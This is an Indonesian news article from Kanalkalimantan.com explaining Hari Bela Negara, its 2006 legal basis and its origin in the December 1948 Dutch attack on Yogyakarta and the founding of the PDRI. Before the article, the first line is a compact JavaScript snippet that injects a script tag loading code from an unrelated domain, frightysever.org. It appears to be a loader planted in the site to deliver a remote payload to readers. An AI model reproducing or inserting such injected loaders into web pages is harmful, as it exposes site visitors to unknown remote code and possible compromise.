(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM – Hari Bela Negara adalah salah satu hari peringatan nasional yang memiliki bobot sejarah sangat krusial bagi eksistensi Republik Indonesia. Peringatan ini hadir bukan sekadar sebagai ritual tahunan, melainkan sebagai pengingat kuat akan tekad bangsa untuk mempertahankan kemerdekaan di tengah gempuran ancaman.
Diperingati setiap tanggal 19 Desember, momentum mengajak seluruh elemen masyarakat untuk merefleksikan kembali kontribusi mereka terhadap Tanah Air. Dalam konteks modern, semangat ini tidak lagi terbatas pada perjuangan fisik, melainkan bertransformasi menjadi kesiapan mental dan spiritual untuk menghadapi tantangan global yang semakin kompleks demi kemajuan bangsa.
Secara legal, peringatan Hari Bela Negara dikukuhkan melalui Keputusan Presiden (Keppres) Republik Indonesia Nomor 28 Tahun 2006. Keputusan tersebut menegaskan bahwa Hari Bela Negara merupakan hari bersejarah yang harus diperingati oleh segenap bangsa Indonesia untuk merawat semangat kebangsaan dan cinta Tanah Air.
Meskipun bukan merupakan hari libur nasional, instansi pemerintah, lembaga pendidikan, dan berbagai elemen masyarakat diimbau untuk menyelenggarakan upacara bendera dan berbagai kegiatan yang menumbuhkan kesadaran bela negara.
Baca juga: Operasi KPK di HSU: Enam Orang Diterbangkan ke Jakarta
Sejarah Hari Bela Negara di Indonesia
Sejarah Hari Bela Negara berakar pada peristiwa Agresi Militer Belanda II yang terjadi pada 19 Desember 1948. Pada pagi buta itu, militer Belanda melancarkan serangan udara ke Ibu Kota Republik Indonesia yang saat itu berada di Yogyakarta. Tujuan utama Belanda adalah melumpuhkan pusat pemerintahan dan menghancurkan Tentara Nasional Indonesia (TNI) guna menunjukkan kepada dunia bahwa Republik Indonesia telah bubar.
Dalam waktu singkat, Yogyakarta jatuh ke tangan Belanda. Presiden Soekarno, Wakil Presiden Mohammad Hatta, dan sejumlah tokoh kunci lainnya ditawan. Namun, sebelum ditangkap, Presiden Soekarno sempat mengirimkan kawat (telegram) mandat kepada Mr. Sjafruddin Prawiranegara yang saat itu berada di Bukittinggi, Sumatera Barat.
Baca juga: Eksekusi Lahan di Jalan Aneka Tambang, David Pengestu: Masih Ada Gugatan
Mandat tersebut berisi instruksi untuk membentuk Pemerintahan Darurat Republik Indonesia (PDRI). Sjafruddin Prawiranegara bersama tokoh-tokoh lain seperti Teuku Mohammad Hassan segera merespons situasi genting tersebut dengan mendeklarasikan berdirinya PDRI pada 22 Desember 1948 di pedalaman Sumatera.
Langkah ini sangat strategis karena berhasil mematahkan klaim Belanda bahwa Indonesia sudah tidak ada. Melalui PDRI, eksistensi pemerintahan Indonesia tetap berjalan dan perlawanan terus dikobarkan melalui diplomasi radio serta gerilya di hutan-hutan. Peristiwa inilah yang menjadi tonggak lahirnya peringatan Hari Bela Negara. (Kanalkalimantan.com/kk)
Editor: kk
KANALKALIMANTAN.COM, BANJARMASIN — Mendekati Ramadan, Wali Kota Banjarmasin H Muhammad Yamin HR mengeluarkan kebijakan pelaksanaan… Read More
KANALKALIMANTAN.COM, AMUNTAI – Senyum tawa anak-anak Desa Hambuku Hulu mewarnai halaman rumah warga yang sementara… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Kepolisian Sektor (Polsek) Banjarmasin Selatan mengamankan belasan remaja dan sejumlah senjata tajam… Read More
KANALKALIMANTAN.COM, PARINGIN - Gerakan Ekonomi Kreatif Nasional (Gekrafs) Kabupaten Balangan menghadirkan Balangan Kreatif Wadah Anak… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Wali Kota Banjarmasin, H Muhammad Yamin HR mendorong masyarakat bisa mengolah sampah… Read More
KANALKALIMANTAN.COM, BANJARBARU - Pemerintah Provinsi Kalimantan Selatan (Kalsel) mengumumkan penetapan lokasi pembebasan lahan untuk pembangunan… Read More
This website uses cookies.